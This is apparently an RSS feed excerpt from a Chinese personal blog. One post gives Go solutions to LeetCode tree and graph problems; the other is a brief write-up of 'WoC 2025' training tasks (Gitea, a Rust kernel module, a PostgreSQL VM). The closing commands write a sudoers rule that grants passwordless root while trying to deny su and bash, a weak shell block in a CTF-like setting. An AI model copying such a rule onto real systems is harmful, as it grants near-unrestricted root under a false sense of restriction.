&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/construct-binary-tree-from-preorder-and-inorder-traversal/&quot;&gt;105. 从前序与中序遍历序列构造二叉树&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func buildTree(preorder []int, inorder []int) *TreeNode {
  if len(preorder) == 0 {
    return nil
  }
  root := &amp;amp;TreeNode{preorder[0], nil, nil}
  i := 0
  for ; i &amp;lt; len(inorder); i++ {
    if inorder[i] == preorder[0] {
      break
    }
  }
  root.Left = buildTree(preorder[1:i+1], inorder[:i])
  root.Right = buildTree(preorder[i+1:], inorder[i+1:])
  return root
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;106. 从中序与后序遍历序列构造二叉树&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/construct-binary-tree-from-inorder-and-postorder-traversal/&quot;&gt;106. 从中序与后序遍历序列构造二叉树&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;两题思路一样的，我不想看官方解法继续优化了，有时间再看吧&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func buildTree(inorder []int, postorder []int) *TreeNode {
  if len(inorder) == 0 {
    return nil
  }
  n := len(postorder)
  val := postorder[n-1]
  root := &amp;amp;TreeNode{Val:val}

  i := 0
  for ; i &amp;lt; len(inorder) ; i++ {
    if inorder[i] == val {
      break
    }
  }

  root.Left = buildTree(inorder[:i], postorder[:i])
  root.Right = buildTree(inorder[i+1:], postorder[i:n-1])
  return root
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;117. 填充每个节点的下一个右侧节点指针 II&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/populating-next-right-pointers-in-each-node-ii/&quot;&gt;117. 填充每个节点的下一个右侧节点指针 II&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一下就想到了BFS，时间空间都是O(n)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
func connect(root *Node) *Node {
  if root == nil {
    return nil
  }
  q := []*Node{root}
  for len(q) &amp;gt; 0 {
    tmp := q
    q = nil
    for i, node := range tmp {
      if i+1 &amp;lt; len(tmp) {
        node.Next = tmp[i+1]
      }
      if node.Left != nil {
        q = append(q, node.Left)
      }
      if node.Right != nil {
        q = append(q, node.Right)
      }
    }
  }
  return root
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但很明显可以优化&lt;/p&gt;
&lt;p&gt;官方给了第二种方法&lt;/p&gt;
&lt;p&gt;把每层连上的都当做链表看，那很巧妙了，因为有了链表所以下一层的可以直接遍历&lt;/p&gt;
&lt;p&gt;很明显因为二叉树的形状不知道必须遍历，这是更为巧妙的省略了队列&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
func connect(root *Node) *Node {
  start := root
  for start != nil {
    var nextStart, last *Node
    handle := func(cur *Node) {
      if cur == nil {
        return
      }
      if nextStart == nil {
        nextStart = cur
      }
      if last != nil {
        last.Next = cur
      }
      last = cur
    }
    for p := start; p != nil; p = p.Next {
      handle(p.Left)
      handle(p.Right)
    }
    start = nextStart
  }
  return root
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这边用了一个&lt;strong&gt;辅助匿名函数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;handle := func(cur *Node){ }&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;当然DFS也可以做，先把头节点找到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func connect(root *Node) *Node {
  pre := []*Node{}
  var dfs func(*Node, int)
  dfs = func(node *Node, depth int) {
    if node == nil {
      return
    }
    if depth == len(pre) { // node 是这一层最左边的节点
      pre = append(pre, node)
    } else { // pre[depth] 是 node 左边的节点
      pre[depth].Next = node // node 左边的节点指向 node
      pre[depth] = node
    }
    dfs(node.Left, depth+1)
    dfs(node.Right, depth+1)
  }
  dfs(root, 0) // 根节点的深度为 0
  return root
}

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;114. 二叉树展开为链表&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/flatten-binary-tree-to-linked-list/&quot;&gt;114. 二叉树展开为链表&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这边学到了一个go的语法糖&lt;/p&gt;
&lt;p&gt;如果使用的是&lt;code&gt;list = append(list, preoderTraversal(root.Left))&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;会显示&lt;code&gt;cannot use preorderTraversal(root.Left) (value of type []*precompiled.TreeNode) as *precompiled.TreeNode value in argument to append (solution.go)&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;slice... 的作用就是&lt;strong&gt;将切片“打散”成一个个独立的元素&lt;/strong&gt;传入函数&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;感觉切片迭代必备了&lt;/p&gt;
&lt;p&gt;回到本题，本题用的思路是先序遍历然后直接去修节点，把左节点接到右边去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func flatten(root *TreeNode) {
  list := preorderTraversal(root)
  for i := 1; i &amp;lt; len(list); i++ {
    prev, curr := list[i-1] ,list[i]
    prev.Left,prev.Right = nil, curr
  }
}

func preorderTraversal(root *TreeNode) []*TreeNode {
  list := []*TreeNode{}
  if root != nil {
    list = append(list, root)
    list = append(list, preorderTraversal(root.Left)...)
    list = append(list, preorderTraversal(root.Right)...)
  }
  return list
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;时间复杂度O(n) 空间O(n)&lt;/p&gt;
&lt;p&gt;但是看到官方解法上有一个更好的 空间O(1)&lt;/p&gt;
&lt;p&gt;用curr维护当前节点，有左节点就断左半边连接把右半边全扒拉过去&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func flatten(root *TreeNode) {
  curr := root
  for curr != nil {
    if curr.Left != nil {
      next := curr.Left
      predecessor := next
      for predecessor.Right != nil {
        predecessor = predecessor.Right
      }
      predecessor.Right = curr.Right
      curr.Left, curr.Right = nil, next
    }
    curr = curr.Right
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当时听聊天的时候还有这样一个题目&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/er-cha-sou-suo-shu-yu-shuang-xiang-lian-biao-lcof/&quot;&gt;LCR 155. 将二叉搜索树转化为排序的双向链表 - 力扣（LeetCode）&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;&quot;&quot;
# Definition for a Node.
class Node:
  def __init__(self, val, left=None, right=None):
    self.val = val
    self.left = left
    self.right = right
&quot;&quot;&quot;
class Solution:
  def treeToDoublyList(self, root: &apos;Node&apos;) -&amp;gt; &apos;Node&apos;:
    if not root:
      return None
    self.head = None 
    self.pre = None

    def dfs(cur):
      if not cur:
        return
      dfs(cur.left)
      if self.pre:
        self.pre.right = cur
        cur.left = self.pre
      else:
        self.head = cur
      self.pre = cur
      dfs(cur.right)
    dfs(root)
    self.head.left = self.pre
    self.pre.right = self.head
    
    return self.head
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;112. 路径总和&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/path-sum/&quot;&gt;112. 路径总和&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;好玩，超级递归，递归的时候去修正&lt;code&gt;targetSum&lt;/code&gt;就可以了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func hasPathSum(root *TreeNode, targetSum int) bool {
  if root == nil {
    return false
  }
  if root.Left == nil &amp;amp;&amp;amp; root.Right == nil {
    return root.Val == targetSum
  }
  return hasPathSum(root.Left, targetSum - root.Val) || 
      hasPathSum(root.Right, targetSum - root.Val)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;129. 求根节点到叶节点数字之和&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/sum-root-to-leaf-numbers/&quot;&gt;129. 求根节点到叶节点数字之和&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;憧憬成为递归少年&lt;/p&gt;
&lt;p&gt;二叉树这块实在是太适合递归了，这题之所以要变成和，是因为适合递归吗&lt;/p&gt;
&lt;p&gt;不知道欸&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func sumNumbers(root *TreeNode) int {
  return dfs(root,0)
}

func dfs(node *TreeNode, prev int) int {
  if node == nil {
    return 0
  }
  currSum := prev * 10 + node.Val
  if node.Left == nil &amp;amp;&amp;amp; node.Right == nil {
    return currSum
  }
  return dfs(node.Left, currSum) + dfs(node.Right, currSum)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;124. 二叉树中的最大路径和&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/binary-tree-maximum-path-sum/&quot;&gt;124. 二叉树中的最大路径和&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;好巧妙的题&lt;/p&gt;
&lt;p&gt;要判断的点其实就两个，一个是是否为最优选项是否换新的路径，一个是目前的两个方向是否要走&lt;/p&gt;
&lt;p&gt;然后就递归去不同节点比较了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func maxPathSum(root *TreeNode) int {
  maxSum := math.MinInt32

  var dfs func(node *TreeNode) int
  dfs = func(node *TreeNode) int {
    if node == nil {
      return 0
    }
    leftChange := max(dfs(node.Left),0)
    rightChange := max(dfs(node.Right),0)

    ifSwitchNewPath := node.Val + leftChange + rightChange
    if ifSwitchNewPath &amp;gt; maxSum {
      maxSum = ifSwitchNewPath
    }
    return node.Val + max(leftChange, rightChange)
  }
  dfs(root)
  return maxSum
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;173. 二叉搜索树迭代器&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/binary-search-tree-iterator/&quot;&gt;173. 二叉搜索树迭代器&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;描述莫名其妙的&lt;/p&gt;
&lt;p&gt;扁平化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type BSTIterator struct {
  arr []int
}

func (it *BSTIterator) inorder(node *TreeNode) {
  if node == nil {
    return
  }
  it.inorder(node.Left)
  it.arr = append(it.arr, node.Val)
  it.inorder(node.Right)
}

func Constructor(root *TreeNode) BSTIterator {
  var it BSTIterator
  it.inorder(root)
  return it
}

func (this *BSTIterator) Next() int {
  val := this.arr[0]
  this.arr = this.arr[1:]
  return val
}


func (this *BSTIterator) HasNext() bool {
  return len(this.arr) &amp;gt; 0  
}


/**
 * Your BSTIterator object will be instantiated and called as such:
 * obj := Constructor(root);
 * param_1 := obj.Next();
 * param_2 := obj.HasNext();
 */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;迭代&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type BSTIterator struct {
  stack []*TreeNode
  cur  *TreeNode
}

func Constructor(root *TreeNode) BSTIterator {
  return BSTIterator{cur: root}
}

func (this *BSTIterator) Next() int {
  for node := this.cur; node != nil; node = node.Left {
    this.stack = append(this.stack, node)
  }  
  this.cur, this.stack = this.stack[len(this.stack)-1],this.stack[:len(this.stack)-1]
  val := this.cur.Val
  this.cur = this.cur.Right
  return val
}

func (this *BSTIterator) HasNext() bool {
  return this.cur != nil || len(this.stack) &amp;gt; 0  
}


/**
 * Your BSTIterator object will be instantiated and called as such:
 * obj := Constructor(root);
 * param_1 := obj.Next();
 * param_2 := obj.HasNext();
 */
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;222. 完全二叉树的节点个数&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/count-complete-tree-nodes/&quot;&gt;222. 完全二叉树的节点个数&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;简单在哪&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func countNodes(root *TreeNode) int {
  var l,r *TreeNode = root, root
  var lh,rh int
  for l != nil {
    l = l.Left
    lh++
  }
  for r != nil {
    r = r.Right
    rh++
  }
  if lh == rh {
    return int(math.Pow(2,float64(lh))) - 1
  }
  return 1 + countNodes(root.Left) + countNodes(root.Right);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以参考&lt;a href=&quot;https://cloud.tencent.com/developer/article/1880865&quot;&gt;完全二叉树的节点数，你真的会算吗？-腾讯云开发者社区-腾讯云&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;236. 二叉树的最近公共祖先&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/lowest-common-ancestor-of-a-binary-tree/&quot;&gt;236. 二叉树的最近公共祖先&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func lowestCommonAncestor(root, p, q *TreeNode) *TreeNode {
  if root == nil || root == p || root == q {
    return root
  }
  left := lowestCommonAncestor(root.Left, p, q)
  right := lowestCommonAncestor(root.Right, p, q)
  if left != nil &amp;amp;&amp;amp; right != nil {
    return root
  }
  if left == nil {
    return right
  }
  return left
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你和我说递归为什么是神&lt;/p&gt;
&lt;h3&gt;199. 二叉树的右视图&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/binary-tree-right-side-view/&quot;&gt;199. 二叉树的右视图&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;dfs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func rightSideView(root *TreeNode) []int {
  var dfs func(*TreeNode, int)
  var ans []int
  dfs = func(node *TreeNode, depth int) {
    if node == nil {
      return
    }
    if depth == len(ans) {
      ans = append(ans, node.Val)
    }
    dfs(node.Right, depth+1)
    dfs(node.Left, depth+1)
  }
  dfs(root, 0)
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以用bfs&lt;/p&gt;
&lt;h3&gt;637. 二叉树的层平均值&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/average-of-levels-in-binary-tree/&quot;&gt;637. 二叉树的层平均值&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;dfs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type data struct { sum, count int}

func averageOfLevels(root *TreeNode) []float64 {
  levelData := []data{}
  var dfs func(node *TreeNode, level int)  
  dfs = func(node *TreeNode, level int) {
    if node == nil {
      return
    }
    if level &amp;lt; len(levelData) {
      levelData[level].sum += node.Val
      levelData[level].count++
    } else {
      levelData = append(levelData, data{node.Val, 1})
    }
    dfs(node.Left, level+1)
    dfs(node.Right, level+1)
  }
  dfs(root, 0)

  averages := make([]float64, len(levelData))
  for index, data := range levelData {
    averages[index] = float64(data.sum) / float64(data.count)
  }
  return averages
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以用bfs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func averageOfLevels(root *TreeNode) []float64 {
  nextLevel := []*TreeNode{root}
  averages := []float64{}
  for len(nextLevel) &amp;gt; 0 {
    sum := 0
    curLevel := nextLevel
    nextLevel = nil
    for _, node := range curLevel {
      sum += node.Val
      if node.Left != nil {
        nextLevel = append(nextLevel, node.Left)
      }
      if node.Right != nil {
        nextLevel = append(nextLevel, node.Right)
      }
    }
    averages = append(averages, float64(sum)/float64(len(curLevel)))
  }
  return averages
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;102. 二叉树的层序遍历&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/binary-tree-level-order-traversal/&quot;&gt;102. 二叉树的层序遍历&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;dfs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func levelOrder(root *TreeNode) [][]int {
  ans := [][]int{}
  var dfs func(node *TreeNode, level int)
  dfs = func(node *TreeNode, level int) {
    if node == nil {
      return
    }
    if level == len(ans) {
      ans = append(ans, []int{})
    }
    ans[level] = append(ans[level], node.Val)
    dfs(node.Left, level+1)
    dfs(node.Right, level+1)
  }
  dfs(root, 0)
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当然也可以用bfs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func levelOrder(root *TreeNode) [][]int {
  ans := [][]int{}
  if root == nil {
    return ans
  }
  q := []*TreeNode{root}
  for i := 0; len(q) &amp;gt; 0; i++ {
    ans = append(ans, []int{})
    p := []*TreeNode{}
    for j := 0; j &amp;lt; len(q); j++ {
      node := q[j]
      ans[i] = append(ans[i], node.Val)
      if node.Left != nil {
        p = append(p, node.Left)
      }
      if node.Right != nil {
        p = append(p, node.Right)
      }
    }  
    q = p  
  }
  return ans
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;103. 二叉树的锯齿形层序遍历&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/binary-tree-zigzag-level-order-traversal/&quot;&gt;103. 二叉树的锯齿形层序遍历&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;bfs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func zigzagLevelOrder(root *TreeNode) [][]int {
  ans := [][]int{}
  if root == nil {
    return ans
  }
  q := []*TreeNode{root}
  for i := 0; len(q) &amp;gt; 0; i++ {
    cur := []int{}
    p := []*TreeNode{}
    for j := 0; j &amp;lt; len(q); j++ {
      node := q[j]
      cur = append(cur, node.Val)
      if node.Left != nil {
        p = append(p, node.Left)
      }
      if node.Right != nil {
        p = append(p, node.Right)
      }
    }
    ans = append(ans, []int{})
    if i % 2 == 0 {
      ans[i] = cur
    } else {
      ans[i] = reverse(cur)
    }
    q = p
  }
  return ans
}

func reverse(n []int) []int {
  for i, j := 0, len(n)-1; i &amp;lt; j; i, j = i+1, j-1 {
    n[i], n[j] = n[j], n[i]
  }
  return n
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;530. 二叉搜索树的最小绝对差&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/minimum-absolute-difference-in-bst/&quot;&gt;530. 二叉搜索树的最小绝对差&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;dfs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func getMinimumDifference(root *TreeNode) int {
  var dfs func(node *TreeNode)
  var prev *TreeNode
  ans := 1145141919810
  dfs = func(node *TreeNode) {
    if node == nil {
      return
    }
    dfs(node.Left)
    if prev != nil {
      diff := node.Val - prev.Val 
      if diff &amp;lt; ans {
        ans = diff
      }
    }
    prev = node
    dfs(node.Right)
  }
  dfs(root)
  return ans
}

func abs(n int) int {
  if n &amp;lt; 0 {
    n = 0 - n
  }
  return n
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;230. 二叉搜索树中第 K 小的元素&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/kth-smallest-element-in-a-bst/&quot;&gt;230. 二叉搜索树中第 K 小的元素&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func kthSmallest(root *TreeNode, k int) int {
  stack := []*TreeNode{}
  for {
    for root != nil {
      stack = append(stack, root)
      root = root.Left
    }
    stack, root = stack[:len(stack)-1], stack[len(stack)-1]
    k--
    if k == 0 {
      return root.Val
    }
    root = root.Right
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;98. 验证二叉搜索树&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/validate-binary-search-tree/&quot;&gt;98. 验证二叉搜索树&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;递归&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func isValidBST(root *TreeNode) bool {
  return helper(root, math.MinInt64, math.MaxInt64)
}

func helper(root *TreeNode, lower, upper int) bool {
  if root == nil {
    return true
  }
  if root.Val &amp;lt;= lower || root.Val &amp;gt;= upper {
    return false
  }
  return helper(root.Left, lower, root.Val) &amp;amp;&amp;amp; helper(root.Right, root.Val, upper)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;中序遍历&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func isValidBST(root *TreeNode) bool {
  stack := []*TreeNode{}
  inorder := math.MinInt64
  for len(stack) &amp;gt; 0 || root != nil {
    for root != nil {
      stack = append(stack, root)
      root = root.Left
    }
    root = stack[len(stack)-1]
    stack = stack[:len(stack)-1]
    if root.Val &amp;lt;= inorder {
      return false
    }
    inorder = root.Val
    root = root.Right  
  }
  return true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;图&lt;/h2&gt;
&lt;h3&gt;200. 岛屿数量&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/number-of-islands/&quot;&gt;200. 岛屿数量&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;dfs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func numIslands(grid [][]byte) int {
  if len(grid) == 0 {
    return 0
  }

  m, n := len(grid), len(grid[0])
  numIslands := 0

  var dfs func(r, c int)
  dfs = func(r, c int) {
    if r &amp;lt; 0 || c &amp;lt; 0 || r &amp;gt;= m || c &amp;gt;= n || grid[r][c] == &apos;0&apos; {
      return
    }

    grid[r][c] = &apos;0&apos;

    dfs(r-1, c)
    dfs(r+1, c)
    dfs(r, c-1)
    dfs(r, c+1)
  }

  for r := 0; r &amp;lt; m; r++ {
    for c := 0; c &amp;lt; n; c++ {
      if grid[r][c] == &apos;1&apos; {
        numIslands++
        dfs(r, c)
      }
    }
  }

  return numIslands
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;bfs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func numIslands(grid [][]byte) int {
  if len(grid) == 0 {
    return 0
  }

  m, n := len(grid), len(grid[0])
  numIslands := 0
  dirs := [][2]int{{-1, 0}, {1, 0}, {0, -1}, {0, 1}}

  for r := 0; r &amp;lt; m; r++ {
    for c := 0; c &amp;lt; n; c++ {
      if grid[r][c] == &apos;1&apos; {
        numIslands++
        grid[r][c] = &apos;0&apos;
        queue := [][2]int{{r, c}}
        for len(queue) &amp;gt; 0 {
          curr := queue[0]
          queue = queue[1:]
          currR, currC := curr[0], curr[1]

          for _, d := range dirs {
            nextR, nextC := currR + d[0], currC + d[1]
            if nextR &amp;gt;= 0 &amp;amp;&amp;amp; nextR &amp;lt; m &amp;amp;&amp;amp; 
              nextC &amp;gt;= 0 &amp;amp;&amp;amp; nextC &amp;lt; n &amp;amp;&amp;amp; 
              grid[nextR][nextC] == &apos;1&apos; {
              grid[nextR][nextC] = &apos;0&apos;
              queue = append(queue, [2]int{nextR, nextC})
            }
          }
        }
      }
    }
  }
  return numIslands
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不阴吗&lt;/p&gt;
&lt;h3&gt;130. 被围绕的区域&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://leetcode.cn/problems/surrounded-regions/&quot;&gt;130. 被围绕的区域&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;从四个边界遍历，能访问到的全标记为&apos;A&apos;, 同时向内扩展标记，最后一次循环处理所有被标记上的位置
dfs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func solve(board [][]byte) {
  m, n := len(board), len(board[0])
  
  var dfs func(r, c int)
  dfs = func(r, c int) {
    if r &amp;lt; 0 || r &amp;gt;= m || c &amp;lt; 0 || c &amp;gt;= n {
      return
    } 
    if board[r][c] != &apos;O&apos; {
      return
    }
    board[r][c] = &apos;A&apos;
    dfs(r+1, c)
    dfs(r-1, c)
    dfs(r, c+1)
    dfs(r, c-1)
  }
  for i := 0; i &amp;lt; m; i++ {
    dfs(i,0)
    dfs(i,n-1)
  } 
  for j := 1; j &amp;lt; n-1; j++ {
    dfs(0,j)
    dfs(m-1,j)
  }
  for x := 0; x &amp;lt; m; x++ {
    for y := 0; y &amp;lt; n; y++ {
      if board[x][y] == &apos;A&apos; {
        board[x][y] = &apos;O&apos;
      } else if board[x][y] == &apos;O&apos; {
        board[x][y] = &apos;X&apos;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后中间又忘了一个点。golang range 不能同时处理两个变量，只能套循环了&lt;/p&gt;
&lt;p&gt;还可以用bfs来实现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var (
  dx = [4]int{1, -1, 0, 0}
  dy = [4]int{0, 0, 1, -1}
)

func solve(board [][]byte) {
  if len(board) == 0 || len(board[0]) == 0 {
    return
  }
  m, n := len(board), len(board[0])
  queue := [][]int{}
  for i :=0; i &amp;lt; m; i++ {
    if board[i][0] == &apos;O&apos; {
      queue = append(queue, []int{i, 0})
      board[i][0] = &apos;A&apos;
    }
    if board[i][n-1] == &apos;O&apos; {
      queue = append(queue, []int{i, n-1})
      board[i][n-1] = &apos;A&apos;
    }
  }
  for j := 1; j &amp;lt; n-1; j++ {
    if board[0][j] == &apos;O&apos; {
      queue = append(queue, []int{0, j})
      board[0][j] = &apos;A&apos;
    }
    if board[m-1][j] == &apos;O&apos; {
      queue = append(queue, []int{m-1, j})
      board[m-1][j] = &apos;A&apos;
    }
  } 
  for len(queue) &amp;gt; 0 {
    cell := queue[0]
    queue = queue[1:]
    x, y := cell[0], cell[1]
    for i := 0; i &amp;lt; 4; i++ {
      mx, my := x + dx[i], y + dy[i]
      if mx &amp;lt; 0 || my &amp;lt; 0 || mx &amp;gt;= m || my &amp;gt;= n || board[mx][my] != &apos;O&apos; {
        continue
      }
      queue = append(queue, []int{mx, my})
      board[mx][my] = &apos;A&apos;
    }
  }
  for i := 0; i &amp;lt; m; i++ {
    for j := 0; j &amp;lt; n; j++ {
      if board[i][j] == &apos;A&apos; {
        board[i][j] = &apos;O&apos;
      } else if board[i][j] == &apos;O&apos; {
        board[i][j] = &apos;X&apos;
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>s3loy</author></item><item><title>WoC 2025</title><link>https://blog.s3loy.tech/posts/woc-2025</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/woc-2025</guid><pubDate>Tue, 03 Mar 2026 08:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;序&lt;/h2&gt;
&lt;p&gt;大家出题都辛苦了zwz，当然做题的也不容易&lt;/p&gt;
&lt;p&gt;因为时间比较少，WoC的pdf版本和仓库稍微有一点不同，不过这不会太影响结果&lt;/p&gt;
&lt;p&gt;如果出现表述不一致的情况给大家磕一个&lt;/p&gt;
&lt;h2&gt;Task 1&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;在GNU/linux或服务器上使⽤docker-compose在本地搭建Gitea
验证标准: 在宿主机能够通过 ssh -p &amp;lt;port&amp;gt; git@localhost -T 验证连接，或成功执⾏ git clone
ssh: /git@localhost:&amp;lt;port&amp;gt;/ .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果一开始想到搜索Gitea，也许你就可以直接把这题秒了
&lt;a href=&quot;https://docs.gitea.com/zh-cn/installation/install-with-docker&quot;&gt;使用 Docker 安装 | Gitea Documentation&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;docker-compose想怎么装怎么装&lt;/p&gt;
&lt;h2&gt;Task 2 &amp;amp; 4 &amp;amp; 6&lt;/h2&gt;
&lt;p&gt;Task2 和 6 是 fermata学长出的，Task5 是 2εr00иe 出的&lt;/p&gt;
&lt;p&gt;因为一开始出题的时候沟通不到位出了两道内核题目，所以出现了这样看起来有点缝合怪的感觉，给大家磕一个&lt;/p&gt;
&lt;h3&gt;Task 2&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;完成[SAST Rust 内核模块](https://github.com/f3rmata/woc2026-hello-from-skm) 的编译和运⾏
[加分项] CI/CD: 配置 GitHub Actions（或 GitLab CI），实现代码 Push 后⾃动构建 Docker
镜像并推送⾄镜像仓库 (Docker Hub / GHCR)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;编译很好玩吧，依赖没问题跑就是了&lt;/p&gt;
&lt;p&gt;然后就是CI/CD，能跑就行（&lt;/p&gt;
&lt;h3&gt;Task 4&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;0001在Task2的内核放置了⼀个dev1ce作为⼩礼物
并留下了⼀个暗号 : 0x1337
你能在dmesg⾥找到她留下的秘密吗?
请使⽤insmod /lib/modules/magic.ko
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你们太会梭了
源码等我有时间再放出来&lt;/p&gt;
&lt;h3&gt;Task 6&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;此题是Task 2的附加题

在GitHub - f3rmata/woc2026-hello-from-skm 中使用DebugFS添加一个数据统计功能,并为仓库提交pr来进行验收
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其实我也没做UwU
不过ai很好用吧，给人一种自己什么都能会的虚假感悟&lt;/p&gt;
&lt;h2&gt;Task 3&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;s3在臭臭的地⽅找到了⼀个⾹⾹的PostgreSQL
据说⾥⾯藏了宝藏？但是好像跑不起来
附件: linux-WoC.ova
name:sast
password:123456
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还记不记得这个组有个名字是运维组（
那为什么没人试图把psql修好进去（（&lt;/p&gt;
&lt;p&gt;不过能做出来都没关系，非预期总是ctf最悲哀的部分，但也是最有趣的地方&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ sudo nano /etc/sudoers.d/sast
sast ALL=(ALL) NOPASSWD: ALL, !/usr/bin/su, !/usr/bin/bash

$ sudo apt install postgresql -y

$ su - postgres

$ psql
&lt;/code&gt;&lt;/pre&gt;
